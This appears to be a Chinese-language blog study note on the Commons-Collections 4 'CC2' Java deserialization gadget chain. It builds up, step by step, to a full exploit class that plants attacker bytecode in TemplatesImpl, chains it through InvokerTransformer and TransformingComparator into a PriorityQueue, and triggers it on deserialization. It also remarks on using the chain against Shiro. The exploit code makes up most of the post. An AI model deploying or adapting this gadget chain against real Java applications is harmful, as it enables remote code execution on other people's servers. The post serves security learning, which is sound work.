Java_Commons-Collections 2 学习过程
环境配置
CC2链子分析
CC2可以说就是CC4的精简版,不用Transformer 数组了,在 [CC4](Java_Commons-Collections 4 (CC4)学习过程 | NbcのBlog (nbcares.top)) 链的基础上,抛弃了用 InstantiateTransformer 类将 TrAXFilter 初始化,以及 TemplatesImpl.newTransformer() 这个步骤
而是从compare通过InvokerTransformer来连接到TemplatesImpl
- 难点在于用
InvokerTransformer 的连接。
借图
![image]()
第一部分
还是按照从后往前的思路先把后面的动态加载字节码部分写了
![image]()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package CC2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class CC2Exp{ public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException { TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"nbc");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); templates.newTransformer(); } }
|
看到最后的newTransformer()就可以想到了在CC3的时候只要能碰到newTransformer() 方法,便可以进行命令执行
开头也说了在CC2中是通过InvokerTransformer来连接的而不是原本CC4通过InstantiateTransformer走过来
![image]()
再回过头看看InvokeTransformer
![image]()
是的这是一个反射调用
然后我们就可以通过这个来调用到newTransformer()方法
这样写
1
| InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
|
第二部分
再往后我们先按照CC4那套写到cpmpare()
![image]()
1 2 3 4 5 6 7 8
| TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add("nbc"); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, invokerTransformer);
|
创建 TransformingComparator 类对象,传⼊一个临时的Transformer 类对象,这是为了让代码能够不本地执行,在反序列化的时候执行。
这里为什么第一个add的是templates
- 这就是将CC4的前半段连接到
InvokerTransformer之处了,这里transformer是可控的只需要将他赋值为invokerTransformer就连接上了,这里为了不在本地运行而反序列化的时候执行传⼊一个临时的Transformer 类对象然后通过反射修改值
- 因为在
TransformingComparator.compare()已经写了obj1是第一个要转换然后比较的对象,也就是队列中的第一个元素,而这个队列就是PriorityQueue()中的,add两个的原因也是跟CC4相同
![image]()
一点疑惑
为什么把templates放在第二个传进去就不行了obj2不行么
打个断点看这是因为在反序列化执行第一个this.transformer.transform(obj1)执行完命令后会抛异常就断掉了
![image]()
也是很奇怪
最终Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package CC2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC2Exp{ public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"nbc");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add("nbc"); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, invokerTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
多说一点
CC2 CC4链只能在commons-collections 4.0中,原因在于commons-collections 3中的TransformingComparator未实现Serializable接口不能序列化与反序列化
CC2 链区别与其他链子一点的区别在于没有用 Transformer 数组。不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现
参考文章
drun1baby